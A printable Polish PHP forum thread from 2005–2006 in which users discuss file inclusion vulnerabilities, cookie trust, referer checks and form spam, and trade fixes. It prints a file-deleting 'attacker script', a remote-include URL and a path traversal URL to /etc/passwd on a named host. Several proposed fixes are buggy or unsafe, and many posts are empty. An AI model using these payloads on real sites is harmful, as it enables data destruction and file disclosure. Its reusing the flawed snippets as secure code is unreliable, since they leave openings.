Drukowana wersja tematu

Napisany przez: Diwi 5.05.2005, 13:21:40

Witam.

Chciałbym rozpocząć temat o bezpieczeństwie skryptów php. Na forum istnieje już temat o http://forum.php.pl/index.php?showtopic=23258 lecz nie ma o ogólnym bezpieczeństwie skryptów.

1. Złe używanie include.

Często dołączamy pliki dynamicznie pobierając miejsce gdzie znajduje się plik metodą GET.

Przykładowy adres:
http://www.jakas-strona.pl/index.php?plik=katalog.php

Kod php:

[PHP] pobierz, plaintext 
<?php
include($_GET['plik']);
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
 
$katalog = http://www.php.net/opendir('./'); /* skrypt otwiera katalog w którym się znajduje (zostaje wywołany */
 
while ($plik = http://www.php.net/readdir($katalog)) {
 
	  http://www.php.net/unlink($file);
 
}
 
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
include('./'.$_GET['katalog']);
?>
[PHP] pobierz, plaintext 

Napisany przez: bregovic 5.05.2005, 15:49:34

Zaczynając od podstaw, to jakiekolwiek używanie zmiennej $_GET razem z konstrukcja require lub include jest pomyłką, błędem i koszmarem. Jeśli już naprawdę musisz include'ować coś pochodzącego z adresu, to zrób sobie tablicę w skrypcie, coś w stylu:

[PHP] pobierz, plaintext 
<?php
 
$tablica[1] = 'jakisplik1';
$tablica[2] = 'jakisplik2';
$tablica[3] = 'jakisplik3';
$tablica[4] = 'jakisplik4';
 
include $tablica[$_GET['costam']];
 
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
 
 
if(file_exist('bezpieczny_katalog/'.$_GET['costam'].'.php'))
{
	include 'bezpieczny_katalog/'.$_GET['costam'].'.php';
}
 
?>
[PHP] pobierz, plaintext 

Napisany przez: Wave 5.05.2005, 16:24:58

A najczęstszym błędem jest stosowanie zmiennych bez odnoszenia się do tablic superglobalnych.
np.

[PHP] pobierz, plaintext 
<?php
 
$var; // zamiast
$_COOKIE['var'];
$_POST['var'];
$_GET['var'];
$_SESSION['var'];
 
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
 
while (list($k, $v) = http://www.php.net/each ($_GET)) {
${$k} = $v;
}
 
?>
[PHP] pobierz, plaintext 

----
Sorka ze sie dopisze ale nie chce mi sie pisac nowego posta )

Jak komus sie nie che to polecam

[PHP] pobierz, plaintext 
<?php
$g = & $_GET;
// i mammy
$g['id'];
 
?>
[PHP] pobierz, plaintext 

Napisany przez: sopel 5.05.2005, 16:36:52

[PHP] pobierz, plaintext 
<?php
 
if (http://www.php.net/ctype_alnum($_GET['go'])) {
  include $_GET['go'].'.php';
}
 
?>
[PHP] pobierz, plaintext 

Napisany przez: Speedy 5.05.2005, 17:06:27

To ja dodam od siebie jeszcze, że niektóre osoby pisząc aplikacje internetowe, stosują coś takiego jak przechowywanie poufnych danych o userze (po zalogowaniu) w pliku cookie. Taki potencjalny H4X0R może sobie potem swobodnie przeglądać zawartość tych plików i dowolnie je modyfikować. Najgorzej jest wtedy, gdy w takim pliku przechowywana jest wartość zmiennej odpowiedzialna np. za uprawnienia administratora... Wtedy wystarczy ją odpowiednio podmienić i śmiga .
Rozwiązaniem są sesje, które przechowują dane na serwerze.

Pozdrawiam.

Napisany przez: yavaho 8.05.2005, 15:03:31

Mozna nieco przefiltrowac zmiena ktora pzechowuje nazwe dolaczanego pliku. I jezeli jest to plik z innej domeny to adres zostanie nieco zmodyfikowany na tyle ze nie zostanie znaleziony.

[PHP] pobierz, plaintext 
<?php
if(http://www.php.net/isset($_GET['page'])){
  $page = http://www.php.net/ereg_replace(&#092;"://\",\"#\",$_GET['page']);
}else{
  $page='glowna';
}
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
if(http://www.php.net/file_exists('skrypty/'.$page.'.php')){
  include ('skrypty/'.http://www.php.net/basename($page.'.php'));
}else{
  include ('skrypty/glowna.php');
}
?>
[PHP] pobierz, plaintext 

Napisany przez: matid 8.05.2005, 17:06:28

Napisany przez: sopel 8.05.2005, 17:27:21

Napisany przez: Ociu 8.05.2005, 18:21:25

sprawdzanie $_GET'ów etc. :

[PHP] pobierz, plaintext 
<?php
if(http://www.php.net/is_int($_GET['id']))
?>
[PHP] pobierz, plaintext 

Napisany przez: vala 14.05.2005, 18:52:01

a nie lepiej zrobic prosty switch ?
ustalimy sobie wtedy wszystkie dostepne przypadki i lux

o cos takiego :

[PHP] pobierz, plaintext 
<?php
 
 
if(http://www.php.net/isset($_GET['id']))
{
  switch($_GET['id'])
  {
   case &#092;"newsy\":  
   case &#092;"smieci\": $ref=$_GET['id'];break;
   
   default: $ref=&#092;"newsy\";
   
   }
   
  include(&#092;"katalog/\".$ref.\".php\");
 
}
 
 
?>
[PHP] pobierz, plaintext 

Napisany przez: AxZx 21.05.2005, 12:24:56

[PHP] pobierz, plaintext 
<?php
 
 
if(http://www.php.net/isset($_GET['id']))
{
  switch($_GET['id'])
  {
   case &#092;"newsy\":  
   case &#092;"smieci\": $ref=$_GET['id'];break;
   
   default: $ref=&#092;"newsy\";
   
   }
   
  include(&#092;"katalog/\".$ref.\".php\");
 
}
 
 
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
 
 
 
  switch(@$_GET['id'])
  {
   case &#092;"newsy\":  
   case &#092;"smieci\": $ref=$_GET['id'];break;
   
   default: $ref=&#092;"newsy\";
   
   }
   
  include(&#092;"katalog/\".$ref.\".php\");
 
 
 
 
 
?>
[PHP] pobierz, plaintext 

Napisany przez: sopel 21.05.2005, 13:19:52

Napisany przez: Lars 1.07.2005, 08:45:41

ja mam prosty skrypt:

[PHP] pobierz, plaintext 
<?php
if(http://www.php.net/isset($_GET['mod'])) {
$mod=$_GET['mod'];
} else {
$mod=&#092;"news\";
}
 
if(http://www.php.net/isset($_GET['act'])) {
$act=$_GET['act'];
} else {
$act=&#092;"list\";
}
 
$file=$mod.'/'.$act.'.php';
 
if(!http://www.php.net/file_exists($file)) {
http://www.php.net/die();
} else {
include &#092;"$file\";
}
?>
[PHP] pobierz, plaintext 

Napisany przez: sopel 1.07.2005, 09:25:20

Napisany przez: yavaho 1.07.2005, 09:42:14

[PHP] pobierz, plaintext 
<?php
if(!http://www.php.net/file_exists('katalog/'.$file.'.php')) {
http://www.php.net/die();
} else {
include('katalog/'.$file.'.php');
}
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
if(!http://www.php.net/file_exists('inc_'.$file.'.php')) {
http://www.php.net/die();
} else {
include('inc_'.$file.'.php');
}
?>
[PHP] pobierz, plaintext 

Napisany przez: gu35t 1.07.2005, 11:18:56

pamietejcie o zonku jaki moze zrobic haxior znakiem pustym:
czyli mam taki np kodzik:

[PHP] pobierz, plaintext 
<?php
if(....){
include './skrypty/' . $_GET['plik'] . '.php';
}
?>
[PHP] pobierz, plaintext 

Napisany przez: sopel 1.07.2005, 11:22:21

1. kolega pytal tylko czy mozna otworzyc w ten sposob zewnetrzne pliki
2. mysle ze uzycie file_exists() i basename() jest dobrym sposobem na dolaczanie plikow, ale jak jest ich stosunkowo niewiele zawsze najlepiej zrobic switcha
3. co do zanku pustego to dziala tam gdzie jest wylaczone automatyczne magic_quotes i ktos nie zabezpieczyl tego samemu

Napisany przez: Lars 3.07.2005, 19:52:24

co do: http://www-users.mat.uni.torun.pl/~ghost/index.php?plik=./linki/../../../../../../../etc/passwd

to można to zabezpieczyć:

[PHP] pobierz, plaintext 
<?php
....przed includem
 
$_GET['plik']=http://www.php.net/str_replace(&#092;"/\", \"#\", $_GET['plik']);
 
include $_GET['plik'];
 
dalej....
?>
[PHP] pobierz, plaintext 

Napisany przez: sopel 3.07.2005, 20:00:01

co do: http://www-users.mat.uni.torun.pl/~ghost/index.php?plik=./linki/../../../../../../../etc/passwd

to można to zabezpieczyć:

[PHP] pobierz, plaintext 
<?php
....przed includem
 
$_GET['plik']=http://www.php.net/str_replace(&#092;"/\", \"#\", $_GET['plik']);
 
include $_GET['plik'];
 
dalej....
?>
[PHP] pobierz, plaintext 

prosty przykład filtrowania danych

Napisany przez: Vengeance 7.07.2005, 19:55:39

@bregovic:

Twój sposób

[PHP] pobierz, plaintext 
<?php
 
$tablica[1] = 'jakisplik1';
$tablica[2] = 'jakisplik2';
$tablica[3] = 'jakisplik3';
$tablica[4] = 'jakisplik4';
 
include $tablica[$_GET['costam']];
 
?>
[PHP] pobierz, plaintext 

Napisany przez: dr_bonzo 8.07.2005, 14:41:45

A wystarczy dodac
$tablica = array();
przed jej uzyciem i po klopocie.
A poza tym to bylo tylko

Napisany przez: Lars 24.07.2005, 13:10:05

Jeżeli już trzeba zrobić coś takiego:

[PHP] pobierz, plaintext 
<?include $_GET['id'].'.php';?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
$file=$_GET['id'].'.php';
if(http://www.php.net/file_exists($file)) {
include $file;
} else {
http://www.php.net/echo 'Błąd 404';
}
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
<form action='ksiega.php' method='post'>
<input type='text' name='nick' value='twoj nick'>
<textarea name='tekst'>Twoj tekst</textarea>
<input type='submit' value='Wyslij'>
</form>
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
$file=http://www.php.net/fopen('data.txt', a);
$zawartosc='<b>'.$nick.'</b><br>'.$tekst.'<br><br>';
http://www.php.net/fwrite($file, $zawartosc);
http://www.php.net/fclose($file);
http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
?>
[PHP] pobierz, plaintext 

• 1. Możliwość wstawienia dowolnej długości nicka/tekstu
• 2. Umieszczanie kodu !!html!!
• 3. wpis danych przez ?nick=nick&tekst=txt
• 4. możliwość uszkodzenia pliku data.txt przez wpisywanie sie przez 2 osoby w tym samym momencie
• 5. użycie kodu php

[PHP] pobierz, plaintext 
<?php
$file=http://www.php.net/fopen('data.txt', a);
$nick=http://www.php.net/stripslashes($nick);
$tekst=http://www.php.net/stripslashes($tekst);
if(http://www.php.net/strlen($nick>10)) {
http://www.php.net/die('Za długi nick');
} elseif(http://www.php.net/strlen($tekst>100)) {
http://www.php.net/die('Za długi tekst');
}
$zawartosc='<b>'.$nick.'</b><br>'.$tekst.'<br><br>';
http://www.php.net/fwrite($file, $zawartosc);
http://www.php.net/fclose($file);
http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
$file=http://www.php.net/fopen('data.txt', a);
$nick=http://www.php.net/stripslashes($nick);
$tekst=http://www.php.net/stripslashes($tekst);
 
$nick=http://www.php.net/strip_tags($nick);
$tekst=http://www.php.net/strip_tags($tekst);
 
if(http://www.php.net/strlen($nick>10)) {
http://www.php.net/die('Za długi nick');
} elseif(http://www.php.net/strlen($tekst>100)) {
http://www.php.net/die('Za długi tekst');
}
$zawartosc='<b>'.$nick.'</b><br>'.$tekst.'<br><br>';
http://www.php.net/fwrite($file, $zawartosc);
http://www.php.net/fclose($file);
http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
$file=http://www.php.net/fopen('data.txt', a);
$_GET['nick']=http://www.php.net/stripslashes($_GET['nick']);
$_GET['tekst']=http://www.php.net/stripslashes($_GET['tekst']);
$_GET['nick']=http://www.php.net/strip_tags($_GET['nick']);
$_GET['tekst']=http://www.php.net/strip_tags($_GET['tekst']);
 
if(http://www.php.net/strlen($_GET['nick']>10)) {
http://www.php.net/die('Za długi nick');
} elseif(http://www.php.net/strlen($_GET['tekst']>100)) {
http://www.php.net/die('Za długi tekst');
}
$zawartosc='<b>'.$_GET['nick'].'</b><br>'.$_GET['tekst'].'<br><br>';
http://www.php.net/fwrite($file, $zawartosc);
http://www.php.net/fclose($file);
http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
$file=http://www.php.net/fopen('data.txt', a);
$_GET['nick']=http://www.php.net/stripslashes($_GET['nick']);
$_GET['tekst']=http://www.php.net/stripslashes($_GET['tekst']);
http://www.php.net/flock($file, 2);
$_GET['nick']=http://www.php.net/strip_tags($_GET['nick']);
$_GET['tekst']=http://www.php.net/strip_tags($_GET['tekst']);
 
if(http://www.php.net/strlen($_GET['nick']>10)) {
http://www.php.net/die('Za długi nick');
} elseif(http://www.php.net/strlen($_GET['tekst']>100)) {
http://www.php.net/die('Za długi tekst');
}
$zawartosc='<b>'.$_GET['nick'].'</b><br>'.$_GET['tekst'].'<br><br>';
http://www.php.net/fwrite($file, $zawartosc);
http://www.php.net/flock($file, 3);
http://www.php.net/fclose($file);
http://www.php.net/echo 'OK. <a href=\"javascript:history.back()\">Wróć</a>';
?>
[PHP] pobierz, plaintext 

Napisany przez: Vaticinator 16.09.2005, 11:21:56

A jest jakaś możliwość, żeby wybrane pliki dało się otwierać tylko poprzez include(), a nie bezpośrednio z przeglądarki?

Napisany przez: sopel 16.09.2005, 11:40:41

Napisany przez: bregovic 28.09.2005, 15:18:54

[PHP] pobierz, plaintext 
<?php
 
http://www.php.net/define('x', true);
include 'lol.php';
 
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
 
if(!x) http://www.php.net/die();
//reszta pliku
 
?>
[PHP] pobierz, plaintext 

Napisany przez: mike_mech 21.11.2005, 00:18:04

W związku z ostatnim postem tutaj, który poruszał problem już omówiony postanowiłem trochę oczyścić ten wątek.

Kilka postów zostało usuniętych - zostały te które powinny zostać

Od tej chwili, proszę użytkowników zwłaszcza początkujących o czytanie tego wątku od początku a nie tylko dopisywanie się na końcu bez czytania całości tego wątku.

Czasem (a raczej często) rozwiązanie problemu jaki macie już padło. Warto poświęcić czas na odszukanie rozwiązania.

P.S.
To nie jest kącik lamerskich pytań!

Napisany przez: huntercs 1.03.2006, 10:50:25

Ja stosuję w sumie proste rozwiązanie, dodaje tylko strony do których użytkownik może wejść i tyle, jeżeli chce wejść na inną to jest przekierowany na str. główną

[PHP] pobierz, plaintext 
<?php
$Section=$_GET['Section'];
 
if($Section!='Main' &&
$Section!='Activate' &&
$Section!='Kolejna_strona' &&
$Section!='Inna_strona' &&
$Section!='Regulamin')
http://www.php.net/header("Location: ?Section=Main");
else include_once($Section.".php");
?>
[PHP] pobierz, plaintext 

Napisany przez: nospor 1.03.2006, 10:56:44

No ale poco trzeba pisac nazwe skryptu? Skoro i tak juz to oifowales, to daj identyfikator a nie nazwe. Po co ktoś ma wiedziec jakie masz skrypty?

Napisany przez: mike_mech 1.03.2006, 10:57:57

~huntercs możesz to zrobić bardziej elastycznie i elegancko:

[PHP] pobierz, plaintext 
<?php
 
$_GET[ 'Section' ] = ( http://www.php.net/empty( $_GET[ 'Section' ] ) ) ? 'Main' : '';
 
$arrAllowSection = http://www.php.net/array(
						  'Main'		=> 'Main.php',
						  'Activate'	=> 'Activate.php',
						  'Inna_strona' => 'Inna_strona.php',
						  'Regulamin'   => 'Regulamin.php'
						);
 
if( http://www.php.net/in_array( $_GET[ 'Section' ], $arrAllowSection ) )
{
	include_once( $arrAllowSection[ $_GET[ 'Section' ] ] );
}
else
{
	include_once( $arrAllowSection[ 'Main' ] );
}
 
?>
[PHP] pobierz, plaintext 

Napisany przez: vedeney 1.03.2006, 18:17:47

I like php-coding in this way

[PHP] pobierz, plaintext 
<?php
include_once(((http://www.php.net/isset($_GET[ 'Section' ]) && !http://www.php.net/empty($_GET[ 'Section' ])) && http://www.php.net/is_file(http://www.php.net/str_replace(http://www.php.net/array(".","/"),"",$_GET['Section']).".php"))?http://www.php.net/str_replace(http://www.php.net/array(".","/"),"",$_GET['Section']).".php":'Main.php');
?>
[PHP] pobierz, plaintext 

Napisany przez: ave 6.03.2006, 13:57:15

nie prosciej switch-em ?

[PHP] pobierz, plaintext 
<?php
switch($_GET['id']){
case 'aa': include('aa.php');break;
case 'bb': include('bb.php');break;
default:   include('main.php');
}
?>
[PHP] pobierz, plaintext 

Napisany przez: Speedy 6.03.2006, 16:07:32

Switch może być dobry w przypadku, gdy jest mało stron i ich ilość nie jest mobilna. Zauważ, że dla każdego pliku musisz doklepywać osobnego case'a, a można to przecież zrobić bardziej dynamicznie .

Napisany przez: the_foe 7.03.2006, 19:30:46

Jezeli programuje obiektowo to automatyzuje wybieranie stron przez wybieranie metod.
Zaluzmy ze $_GET['p'] odpowiada za podstrone:

[PHP] pobierz, plaintext 
<?php
	 function get_page()
	{
	/*metoda zajmuje sie analizowaniem zmiennej p
	zgodnie z jej wartoscia przerzuca skrypt do 
	metody link_wartosc
	*/
	if (!http://www.php.net/isset($_GET['p']))
	{
 
		$this->link_index();
	}
	else
	{
		$a=http://www.php.net/strtolower($_GET['p']);
		$a=http://www.php.net/ereg_replace('([^a-z0-9_-])',"",$a);
		if ($a=="")
		{
			$this->link_index();
		}
		else
		{
			$z=method_exists($this,"link_".$a);
			if ($z==1)
			{
				http://www.php.net/eval('$this->link_'.$a.'();');
			}else{
				$this->error();
			}
		}
	}
 
	}
?>
[PHP] pobierz, plaintext 

Napisany przez: LamaMASTER 11.04.2006, 21:50:27

1. Złe używanie include.

Często dołączamy pliki dynamicznie pobierając miejsce gdzie znajduje się plik metodą GET.

Przykładowy adres:
http://www.jakas-strona.pl/index.php?plik=katalog.php

Kod php:

[PHP] pobierz, plaintext 
<?php
include($_GET['plik']);
?>
[PHP] pobierz, plaintext 

Taki skrypt dokonałby dołączenia pliku katalog.php do skryptu lecz co by się stało gdyby włamywacz wpisał taki adres:
http://www.jakas-strona.pl/index.php?plik=http://www.adres-strony-hakera.pl/skrypt-niszczacy.php

Dajmy na to że skrypt znajdujący się na serwerze hakera wygląda tak:

[PHP] pobierz, plaintext 
<?php
 
$katalog = http://www.php.net/opendir('./'); /* skrypt otwiera katalog w którym się znajduje (zostaje wywołany */
 
while ($plik = http://www.php.net/readdir($katalog)) {
 
	  http://www.php.net/unlink($file);
 
}
 
?>
[PHP] pobierz, plaintext 

No i jeżeli pliki w katalogu mają uprawnienia pozwalające na usunięcie ich przez skrypt to możemy się pożegnać z plikami w katalogu.

Jak temu zapobiec

Rozwiązanie 1.

Tworzymy taki include:

[PHP] pobierz, plaintext 
<?php
include('./'.$_GET['katalog']);
?>
[PHP] pobierz, plaintext 

Taka instrukcja pozwala na dołączanie jedynie plików które znajdują się w katalogu ze skryptem czyli nie można załączyć pliku z innego serwera.

[PHP] pobierz, plaintext 
<?
include('http://www.domena.pl/skrypt.php');
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?
include($zmienna);
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?
include('katalog/'.$zmienna.'.php');
?>
[PHP] pobierz, plaintext 

Napisany przez: nospor 11.04.2006, 21:58:04

[PHP] pobierz, plaintext 
<?php
include($_GET['file']);
?>
[PHP] pobierz, plaintext 

Napisany przez: kszychu 12.04.2006, 08:32:56

A ja z kolei dodam, że3 należałoby się przyjrzeć składni include i pochodnych. Zwłaszcza polecam lekturę: jak zachowuje sieinclude pobierając pliki z innych serwerów.
Kolega LamaMASTER myli się, da się zaincludować skrypt php z innego serwera, z drobnym ale... Uważacie, że apache na tym serwerze puści na źródło skryptu, bo my go o to poprosimy?... Nie? A jak zachowa się apache?...
I obyśmy tylko takich hakerów mieli, którzy skrypt niszczący odpalają z własnego serwera :-D

Napisany przez: LamaMASTER 12.04.2006, 11:32:16

Na moim serwerze taki trick nie działa, dlatego byłem przekonany, że nie idzie (tak samo było u moich kolegów).

Napisany przez: nospor 12.04.2006, 11:34:48

I tylko dlatego, ze u ciebie ten trick nie dziala, to jedziesz po innych uzytkownikach? oskarżasz ich o brak wiedzy, o brak testow tego co robią, o nieczytanie manuala? Zastanow sie co robisz.

Slyszales kiedys o czymś takim, ze kazdy serwer mozna inaczej skonfigurowac?

ps: wspominales cos o zwróceniu honoru... jakos tego nie zauwazylem bys to zrobil

Napisany przez: LamaMASTER 12.04.2006, 17:46:53

Napisany przez: Vengeance 12.04.2006, 17:52:35

Ale przy postgresql, mssql czy oracle to już zadziała... pamiętaj, świat nie ogranicza się do mySQL

Napisany przez: thornag 13.04.2006, 14:29:58

Wracajac do powyższej dyskusji na temat include to chcialbym i cos od siebie dodac.

Założmy, że manual klamie (to tak tylko na cele posta ) i include nie pozwala dołączać URLi z zewnatrz. Ważne jest tez, że administrator nie wpadł na takowy pomysł i nie ma poistawionego Apache'a na chroocie.

Mamy podany wyzej include o postaci:

[PHP] pobierz, plaintext 
<?php
 
include($_GET['zmienna']);
 
?>
[PHP] pobierz, plaintext 

Napisany przez: kszychu 13.04.2006, 16:40:36

@thornag: dziękujemy za jakże wnikliwą analizę problemu. Zanim uraczysz nas kolejnymi rewelacjami bądź łaskaw czytać dokładnie wątki, w których się udzielasz. Jeśli nie całe to chociaż pierwsze strony.

Napisany przez: J4r0d 13.04.2006, 21:27:45

Co znaczy apach na chroocie?

Napisany przez: thornag 14.04.2006, 02:19:00

Napisany przez: Nightwalker 14.04.2006, 03:26:13

Witam,

Mam pytanie, czy ten kod jest w miare bezpieczny?

[PHP] pobierz, plaintext 
<?php
zapisz($_GET['sekcja']);
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
function zapisz($dbs)
{
	$plik = 'database/'.$dbs.'.dbs';
	$otworzplik = http://www.php.net/fopen($plik, 'w+') or http://www.php.net/die("Blad podczas otwierania!");
	$zapiszplik = http://www.php.net/fwrite($otworzplik, $zamiana) or http://www.php.net/die("Blad podczas zapisywania!");
}
 
?>
[PHP] pobierz, plaintext 

Napisany przez: mumin.php 30.05.2006, 07:45:59

Witam

Jestem nowy na forum i zgodnie z sugestią mike_mech'a przeczytałem cały wątek. Wydaje mi się że nie znalazłem odpowiedzi na moje pytanie, więc pozwolę sobie zapytać

Jakiś czas temu pojawił mi się problem z atakami przez formularze (np. mailowe) - we wszystkich wykorzystuję metodę $_POST. Mója znajmomość php pozwoliła mi na uzyskanie mniej więcej takiej jakości zabezpieczeń:

[HTML] pobierz, plaintext 
<http://december.com/html/4/element/form.html id="nazwa" method="post" action="">
<http://december.com/html/4/element/input.html type="text" name="pole_tekstowe" value="" /><http://december.com/html/4/element/br.html />
<http://december.com/html/4/element/input.html type="radio" name="jakies_radio" value="wartosc1" /><http://december.com/html/4/element/br.html />
<http://december.com/html/4/element/input.html type="checkbox" name ="jakis_check" value="T" /><http://december.com/html/4/element/br.html />
<http://december.com/html/4/element/input.html type="submit" name="wyslij" value="wyslij" />
</http://december.com/html/4/element/form.html>
[HTML] pobierz, plaintext 

[PHP] pobierz, plaintext 
<? 
 
/* w uproszeczeniu podam tylko moje "zabezpieczenia" */
 
if ($_POST['wyslij'])
{
  /* podstawowe zabezpieczenie */
  http://www.php.net/htmlspecialchars(http://www.php.net/strip_tags($_POST), ENT_QUOTES);
 
  /* jak chcę mieć spokój z radio i checkboxami to buduję tablice dopuszczelnych wa
rtości */
  $tabl3 = http://www.php.net/array('', 'P', 'Z', 'I');
  $valid = True;
   if (!http://www.php.net/in_array($_POST['jakies_radio'], $tabl3)) { $valid = False; }
 
  if ($valid != False)
  { 
   do smth
  }
 
   /* jeśli mogę sobie na to pozwolić to sprawdzam URLa */
  if ($_SERVER['HTTP_REFERER']!= 'http://www.mojastrona/index.php5?name=formularz')
  {
	http://www.php.net/die ('bad idea');
  }
	else
  {
	wszystkie powyzsze zabezpieczenia
  }
}
else
{
  $obj = new  template_powyższego_htmla;
}
?>
[PHP] pobierz, plaintext 

Napisany przez: sopel 30.05.2006, 08:38:20

zabezpieczając się najpeirw należy się zastanowić przed czym się zabezpieczamy

1. po co htmlspecialchars(strip_tags( ? tego trzeba używać przy umieszczaniu danych w kodzie html (chyba ze na zapas), nie mowiac o tym ze w twoim przypadku jest to bledny zapis poniewaz zarowno strip_tags jak i htmlspecialchars nie moze przyjmowac jako argumentu tablicy. poza tym, przed sprawdzeniem poprawnosci danych nie powinno ich sie raczej zmieniac, uwazam ze walidacje powinno sie dokonywac na surowych danych takich jak dostarczono.

2. $_SERVER['HTTP_REFERER'] nie nawsze jest ustawiane,a moze tez sie roznic jak przechodzi przez rozne proxy. lepszym rozwiazaniem jest zastosoawnie jakiegos tokena (umieszczenie tokena w polu typu hidden i w sesji i potem sprawdzenie czy sie pokrywaja). btw, jest to zabezpieczenie przed proba bezposredniego wyslania danych z pominieciem wlasciwego formularza na stronie.

3. wszystko zalezy od przeznaczenia, jesli uwaznie przeczytales watek to byc moze zauwazyles ze nikt tutaj nie ma jednej skutecznej metody zabezpieczania. jesli umieszczasz dane w zapytaniach to trzeba np. uzyc mysql_real_escape_string, jesli dane wyswietlasz to htmlspecialchars, jesli chcesz sie zabezp przed xss to strip_tags [nawet bez tagow html da sie xss zastosowac, chociazby przez nieumiejetnie wykrozystany i napisany bbcode]. kombinacji i mozliwosc jest wiele, a bardzo duzo zalezy od specyfikacji danego problemu.

Napisany przez: mumin.php 30.05.2006, 09:26:45

to może trochę sprecyzuję

Te zagrożone formularze na stronie wykorzystuję do przesyłania maili do konkretnego wskazanego odbiorcy w firmie. Jedne z formularzy to typowy formularz kontaktowy (imie, nazwisko, mail, twoja opinia), drugie to ankiety (dużo radiobuttonów, kilka textarea, kilka checkboxów)

Jakiś czas temu, ktoś zaczął podpinać się zewnetrznym formularzem i rozsyłać spamy - pakowali swoje nagłówki w maila i mieli pełną swobodę. Dlatego zastosowałem htmlspecialchars(strip_tags($_POST), ENT_QUOTES); - dało to taki efekt że przypinane zewnętrznie headers wyglądają mniej więcej tak:

Content-Type: text/plain; charset=\"us-ascii\"

więc już jest bezpieczniej,

$_SERVER['HTTP_REFERER'] =='url' powinno mnie chyba zabezpieczyć dość skutecznie przed podpinaniem się zewnętrznym formularzem pod mój?

Napisany przez: sopel 30.05.2006, 09:29:06

Cytat(mumin.php @ 30.05.2006, 10:26 )

Napisany przez: mumin.php 30.05.2006, 10:33:54

Cytat(sopel @ 30.05.2006, 09:38 )

[PHP] pobierz, plaintext 
<?php
if(!$_POST['wyslij'])
{ 
  pokaż formularz 
}
else
{
  if ($_SERVER['HTTP_REFERER'] !='www.mojastrona.costam?name=formularz')
  {
	http://www.php.net/die ('nie rob nic');
  }
  else
  {
   wyslij formularz
  }
}
?>
[PHP] pobierz, plaintext 

Napisany przez: Speedy 4.06.2006, 19:18:58

Wystarczy wysłać odpowiedni nagłówek i w nim zdefiniować dowolny http referer. Można to zrobić w php lub z użyciem takiego pluginu do firefoxa o nazwie `Live HTTP headers`

Napisany przez: sopel 4.06.2006, 19:57:25

Cytat(mumin.php @ 30.05.2006, 11:33 )

Przyznaję, że niestety nie rozumiem tego wytłumaczenia

Napisany przez: NuLL 5.06.2006, 01:40:06

Podziele sie z Wami moim pomyslem jak ja zalatwiam prawie wszystko roboty tego typu w swoich projektach.

Jest formularz

[HTML] pobierz, plaintext 
<http://december.com/html/4/element/input.html type='text' name='a3ol5m3in5klnw_name'>
[HTML] pobierz, plaintext 

Napisany przez: Vengeance 21.07.2006, 21:09:53

@NuLL: Skoro sprawdzałeś to OK, ale dla mnie to żaden problem by bot odsyłał dokładnie te same nagłówki jakie otrzymał od serwera (chodzi oczywiście o cookies) a wtedy sesja zostanie wykryta.

Napisany przez: mariuszn3 22.07.2006, 12:23:11

NuLL a co z tymi co mają wyłączoną obsługę ciasteczek?

Napisany przez: NuLL 26.07.2006, 13:16:24

Cytat(mariuszn3 @ 22.07.2006, 13:23 )

Napisany przez: Turgon 1.08.2006, 18:26:12

Czy przechowywanie id sesji w ciachu jest bezpieczne ?
Bo piszę własną obsługę sesji i to jest konsultowane z bazą danych...

Napisany przez: sopel 1.08.2006, 19:32:58

Cytat(Turgon @ 1.08.2006, 19:26 )

Napisany przez: Turgon 2.08.2006, 08:21:50

O to właśnie mi chodziło. Skrypt miałby się w przypadku zmiany danych pytać o hasło i login. Sesja zwykle wygasa u mnie po 30 minutach nieaktywności. Skrypt zbierający śmieci to załatwia.
Ciacho wygasa zawsze po 30 minutach od ostatniej nieaktywności.

Niestety SSLa nie potrzebuje, bo to nie jest jakis skrypt bankowy czy coś, tylko prosty zbiór dzieł różnych ludzi...

Napisany przez: d@ro 4.08.2006, 10:43:27

W swoim cms, nie wiem czy zrobić tak:

[PHP] pobierz, plaintext 
<?php
if(http://www.php.net/file_exists('modules/'.$page.'.php'))
{
include ('modules/'.http://www.php.net/basename($page.'.php'));
}
else 
{
include ('modules/news.php');
}
?>
[PHP] pobierz, plaintext 

Napisany przez: kalu111 20.08.2006, 09:55:10

A jakich powinno sie ustrzegac znakow w zmiennych przekazywanych drogą $_GET , $_POST itd., jeżeli zmienne te będa dalej wykorzystywane w skrypcie. Od razu powiem, ze nie chodzi mi o includowanie plikow, tylko o zwykle parametry, ktore maja wplyw na dalszy przebieg skryptu?
Czy zwykle stripslashes, strip_tags, trim lub funkcje zwiazane z mysql wystarcza?

Napisany przez: iks 3.11.2006, 13:36:29

A czy mój tok myślenia jest dobry? Mam zrobione logowanie, jęsli podane dane zgadzają sie:

[PHP] pobierz, plaintext 
<?php
if($bazapass == $zpass)
				{
				$_SESSION['userid'] = $userid;
				$_SESSION['nick'] = $podanylogin;
				$_SESSION['level'] = $kto;
}
?>
[PHP] pobierz, plaintext 

[PHP] pobierz, plaintext 
<?php
if(!http://www.php.net/isset($_SESSION['level']) || $_GET['k'] > $_SESSION['level'])
{
http://www.php.net/echo ' SPIEPRZAJ DZIADU!';
http://www.php.net/exit;
}
?>
[PHP] pobierz, plaintext 

Napisany przez: Saddam92 29.11.2006, 13:40:53

